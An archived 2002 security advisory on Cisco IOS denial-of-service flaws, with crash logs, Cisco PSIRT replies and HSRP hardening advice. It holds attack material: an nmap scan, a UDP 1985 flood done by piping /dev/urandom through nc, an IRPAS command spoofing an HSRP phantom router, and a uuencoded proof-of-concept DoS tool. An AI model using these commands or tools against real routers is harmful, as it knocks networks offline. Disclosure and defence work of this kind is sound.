TUCoPS :: Cisco :: cisc5412.htm

Cisco IOS DoS
6th Jun 2002 [SBWID-5412]
COMMAND

	Cisco IOS DoS

SYSTEMS AFFECTED

	IOS 12.1, surely others

PROBLEM

	Andrew Vladimirov [http://www.arhont.com] found various  DOS  conditions
	regarding Cisco IOS.
	

	1. When scanning all 65535 ports from a single  host  using  nmap  (full
	connect/half connect/null/fin/ack/xmas) through  a  Cisco  2611  running
	C2600-IO3-M,  Version  12.1(6.5)the  router  crashes.  Same  applies  to
	scanning a class C network for a single open port. This  was  discovered
	while auditing a corporate network.
	

	Enabling or disabling: CBAC, IDS, IP  Accounting  and  applied  extended
	ACL\'s with logging,  does  not  effect  the  results  ie.  the  problem
	persists.
	 

	Here comes the log :
	

	

	OS (tm) C2600 Software (C2600-IO3-M), Version 12.1(6.5), MAINTENANCE 

	INTERIM SOFTWARE Copyright (c) 1986-2001 by cisco Systems, Inc.

	

	Compiled Mon 29-Jan-01 19:20 by kellythw

	

	hippo#ping cisco.com

	Type escape sequence to abort.

	Sending 5, 100-byte ICMP Echos to 198.133.219.25, timeout is 2 seconds:

	!!!!!

	Success rate is 100 percent (5/5), round-trip min/avg/max = 168/170/173 ms 

	

	          < < < < < scan starts > > > > > 

	

	-Process= \"IP Input\", ipl= 0,

	pid= 24 > -Traceback= 802CFCE4 802D19DC 807915D8 80791E04 80792598 8078B37C

	803645E8  80363694 80363874 803639D0 802F0864

	000010: 00:27:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes 

	failed from 0x802CCB60, pool Processor, alignment 0

	-Process= \"IP Input\", ipl= 0, pid= 24

	-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 

	80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864

	000011: 00:27:30: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes 

	failed from 0x802CCB60, pool Processor, alignment 0

	-Process= \"IP Input\", ipl= 0, pid= 24

	-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 

	80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864

	000012: 00:28:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes 

	failed from 0x802CCB60, pool Processor, alignment 0

	-Process= \"IP Input\", ipl= 0, pid= 24

	-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 

	80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864

	

	hippo#sh stacks 24

	

	Process 24:  IP Input

	Stack segment 0x80DB0DB4 - 0x80DB3C94

	FP: 0x80DB3C68, RA: 0x802DE6D8

	FP: 0x80DB3C88, RA: 0x80363998

	FP: 0x0, RA: 0x802F0864 

	    

	hippo#sh run

	hippo#

	

	(no response)

	  

	root@boar:~# ping cisco.com

	ping: unknown host cisco.com 

	

	

	The router  does  not  respond.  Connection  is  lost.  CPU  utilisation
	reaches  90  -  100  %.  This  bug  is  different  from  Cisco  Bug   ID
	CSCds07326i, here the scan is  going  through  the  router  and  is  not
	directed at it.
	

	

	 Update (10 June 2002)

	 =======

	

	Answer from Sharad Ahlawat, Cisco  Product  Security  Incident  Response
	Team (PSIRT) Incident Manager [http://www.cisco.com/go/psirt]:
	

	A Cisco 2621 router with 12.1(6a) could not  be  crashed  by  using  the
	nmap command and by mirroring the  setup,  used  by  Andrew.  Other  IOS
	releases were tried and no crashes were observed. This  currently  seems
	to be a setup specific issue.
	

	Andrew was using an Interim release of IOS during his  testing.  Interim
	releases are built at regular  intervals  between  maintenance  releases
	and receive less testing. Interim releases should be  selected  only  if
	there is no other suitable release that addresses an issue, and  interim
	images should be upgraded to the next available maintenance  release  as
	soon as possible. Interim releases are not available via  manufacturing,
	and usually are not available for customer  download  from  CCO  without
	prior arrangement with the Cisco TAC.
	

	====================================================
	

	

	

	2. In certain versions of IOS UDP port 1985 is open  when  HSRP  is  not
	running.
	

	For example:
	

	

	nmap -sU -vvv -O -p1985 192.168.1.254

	

	Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ )

	Host  (192.168.1.254) appears to be up ... good.

	Initiating UDP Scan against  (192.168.1.254)

	The UDP Scan took 0 seconds to scan 1 ports.

	Adding open port 1985/udp

	Warning:  OS detection will be MUCH less reliable because we did not find 

	at least 1 open and 1 closed TCP port.

	Interesting ports on  (192.168.1.254):

	Port       State       Service

	1985/udp   open        unknown

	Remote OS guesses: Cisco IOS 11.1(7)-11.2(8.10), Cisco 4500-M running IOS 

	11.3(6) IP Plus, Cisco IOS 11.3 - 12.0(11), Cisco 1600/3640/7513 Router 

	(IOS 11.2(14)P), Cisco IOS v11.14(CA)/12.0.2aT1/v12.0.3T   

	

	

	However, a) tcpdump did not show any hsrp packets on the network
	         b) attempts to communicate with the router via HSRP using IRPAS

	         (http://www.phenoelit.de/irpas/), successful when HSRP is 

	         running, failed to illicit any response.

	

	Flooding 1985 with randomly sized UDP  packets  (cat  /dev/urandom  pipe
	via nc as UDP etc.,) leads to CPU utilisation above 90%  and  eventually
	the router crashes. Besides the presence of this  open  port,  where  it
	should be shut, assists in remote OS fingerprinting.
	 

	I have checked this with a number of system administrators I know;  here
	are the stats for udp port 1985 on their routers I\'ve collected:
	

	 

	Open 1985: 12.1(8a)E5 Catalyst 6k R700, 11.2(23) C2500-I-L, 12.2(2)XI 

	(c827), 12.1(9) (C2500-I-L), 11.1(16) (c1000), 12.0(4)XM (c805), 12.2(2)T1

	(C2600-IK8O3S);

	

	Closed 1985: 12.0(3)T (C2500-I-L), 12.0(9) (c1600), 11.3(8)T1 (c2600), 

	12.0(3)T (c1720), 12.2(3) (c1720), 12.0(16) (C2500-I-L), 12.0(5)XQ

	(C1700-NY-M); 

	

	

	In general, 12.0.x does not appear to have this potential  problem.  Out
	of the routers checked, 50 % had udp 1985 open. All  routers  with  1985
	open were succeptible to DoS via 1985 UDP flood. None had  HSRP  enabled
	and running.
	

	

	====================================================
	

	 

	3. While using IRPAS  to  test  the  \"bug\"  above  I  have  found  the
	following. The 12.1.x IOS implementation of HSRP fails to check  the  IP
	address of the phantom router against the IP address  of  the  interface
	on which HSRP is running when the IP is advertised from the remote  host
	using IRPAS. This results in a conflict over  the  IP  address  for  the
	interface, bypassing normal sanity checks.
	

	An obvious DoS condition is created, since the  phantom  router  can  be
	remotely given an IP address of a local interface through which  packets
	enter the Active router, thus leading to a loop.
	

	Example :
	

	

	./hsrp -d 192.168.1.253 -v 192.168.1.254 -a cisco -g 1 -i eth0 

	

	where 192.168.1.253 - IP of a phantom router, 192.168.1.254 - IP  of  an
	active router interface on which the standby 1 ip 192.168.1.253  command
	is configured.
	

	

	000059: 00:10:34: %STANDBY-6-STATECHANGE: Standby: 1: Ethernet0/1 state 

	Active -> Speak

	

	000060: 00:10:34: %STANDBY-3-DIFFVIP1: Ethernet0/1 Group 1 active routers 

	virtual IP address 192.168.1.254 is different to the locally configured

	address 192.168.1.253

	

	May  6 18:28:26 192.168.1.254 324: 000317: 2d17h: %STANDBY-3-DUPADDR:

	Duplicate address 192.168.1.254 on Ethernet0/1, sourced by 0050.043a.ff60

	

	

	Nevretheless, the router goes into standby and  192.168.1.254  is  taken
	as a phantom\'s IP.
	

	Interestingly, ./hsrp -d 192.168.1.253 -v 192.168.1.254 -a  cisco  -g  1
	-i eth0 -S 192.168.1.254 does not appear to  have  any  effect  and  the
	packets are dropped.
	

	Setting a good password while enabling HSRP (something  that  should  be
	done  anyway  !)  provides  a  temporary  solution  for  this   problem.
	Unfortunately, I have seen networks running HSRP with  default  password
	\"cisco\".
	

	

	 Update (11 june 2002)

	 =======

	

	Big Poop [ste0000@hotmail.com] added :
	

	a bit of source code i wrote a couple of month as proof of  concept  for
	the HSRP DoS..... needs libpcap installed to sniff the  packets  to  get
	the authentication details + various other stuff.  Spoofed  packets  are
	then send to the multicast address informing the group that there  is  a
	new router (the hackers machine / fake IP  address)  that  has  the  top
	priority 255 thus pre-empting the active router and causing a DoS
	

	the prog runs on linux and was tested on mandrake 8
	

	

	egin 777 hsrp.tar.gz

	M\'XL(\"\".0 ST  VAS<G N=&%R .U<>7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73QM4\'QTG.0P^)X3UV<,\\FS15[-:IF0IP(N\',E/PY%@/KLT-;TF3[U(

	M8T.0, *8Z=[I#\\[9[RHK%DJ>OJ&WY$#L.(!\'OB>G7I,C\\MN\"-?P&B;@G(2ID

	MZ6&G^ )-5I=\'GI[VC[-V3U4G]O&#\'\"X%DQS36+[JC1W]:Y\"RGMS2623O5N,7

	M;G:FNV1GTB*@4*N]6S?^(R#P+ RNV%T&?8MK&1*0AR73)H&.:]7;]=UZ1[2(

	M>QWI@]FOQ8GG]_YZT3I]:;(^F/>-/@1VS_=?H6S?^/XK_&ZU][K[Z^]__1:I

	MT4A@&@_45WT\"[S:=CP;R-:(93O4O[LAYG0P3=LT\"OI%^0*FDOZFT@=_VV2CZ

	M^.(\"../4^!8CX10AV@9^JU-]IX;3G2-.%9:OXO=%Q3N3\"@(?8D9!_*FT#6B/

	M/%L @QB: B3 :6\\C?1D,D26TH38%U1ZL^ZB2\"]-UJ3]XU[5;[\"YKLBO:[!8W

	MVBULM2N:[1KM_H!KJ2LD() 4Z4ZKVBN5&MODQQ]_)-N-C8_KB7:=UFF=UFF=

	MUFF=UFF=UFF=UFF=UFF=UFF=UFF=UFF=UFF=UFF=UFF=UFF=5J?_!ZJEPE, 

	#>   

	 

	end

	

SOLUTION

	 Update (10 June 2002)

	 =======

	

	Answers from Sharad Ahlawat, Cisco Product  Security  Incident  Response
	Team (PSIRT) Incident Manager [http://www.cisco.com/go/psirt]:
	

	Issue 1: Do not use Interim maintenance releases
	

	Issue 2: UDP port 1985 found open when no HSRP configured. Cisco Bug  ID
	CSCdt64533 - has already been integrated in 12.2.
	

	Issue 3: Cisco is considering using MD5 to  improve  the  protection  of
	HSRP in future releases of IOS. However, there are  some  other  factors
	that must be considered in this context:
	

	 - - this vulnerability can be exploited only from the local segment

	   (not over the Internet).

	 - - the same effect, denial of service, can be produced by using ARP,

	   which can not be protected in any way.

	

	The last factor is especially important  since  it  may  cause  a  false
	sense of security if the user is using a hardened version of HSRP as  an
	attacker can still disrupt the network by using crafted ARP packets.
	

	Another aspect of this issue is  that  in  its  current  implementation,
	HSRP doesn\'t seem to perform a validity  check  on  the  IP  addresses.
	This is under active investigation as Cisco Bug ID CSCdu38323.
	

	Cisco HSRP documentation can be found at
	

	http://www.cisco.com/univercd/cc/td/doc/cisintwk/ics/cs009.htm

	

	

	

	 Update (11 June 2002)

	 =======

	

	Felix Lindner  <felix.lindner@nruns.com>  answers  regarding  \"local
	attack only\" aspect:
	

	This does not prevent  remote  attacks  because  Cisco  devices  do  not
	validate the destination address of a HSRP packet. Unicast  packets  are
	accepted, which can be tested using the hrsp tool at
	

	http://www.phenoelit.de/irpas/ 

	

	

	 

	 Update (13 June 2002)

	 =======

	

	Shane Gibson [res1925d@verizon.net] added:
	

	Best practices would dictate at least the following three:
	

	    1.  use \"standby GROUP authentication TOKEN\"

	    2.  filter all 224.0.0.2 traffic at your egress routers

	    3.  filter 224.0.0.2 at each interface participating in HSRP

	

	(1) standby authentication provides a simple (clear text) token that  is
	shared via your participating HSRP routers. This is a **basic** form  of
	validating your HSRP partners. If you don\'t have the right  token,  you
	don\'t get to play with HSRP (short  of  any  buffer  overflow  exploits
	against the standby auth. mechanism?). This  means  that  someone  would
	have to get ahold of your Cisco router configs, or sniff the  token  off
	of the local wire.
	

	(2) don\'t let any HSRP packets into your networks from the egress
	

	(3) each router using  HSRP  should  have  an  appropriate  filter  only
	allowing HSRP traffic from it\'s known HSRP partners, this logic  should
	be applied on a per group basis  (i.e.  standby  group  10  should  have
	appropriate filters, while standby group 20 should have a different  and
	appropriate set of filters).
	

	These are all very basic and simple mechanisms that  cost  nothing,  and
	will protect against (okay, I\'m just throwing  a  number  out  here...)
	99%+ of all attacks against your HSRP participating routers.  About  the
	only thing I see as a potential issue is a local resource being  cracked
	into and used to whack away at your HSRP routers,  which  would  require
	spoofing source IPs, etc... (eg the  filters).  I\'m  sure  someone  out
	there will correct me if I have any flaws in my strategy here...
	

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH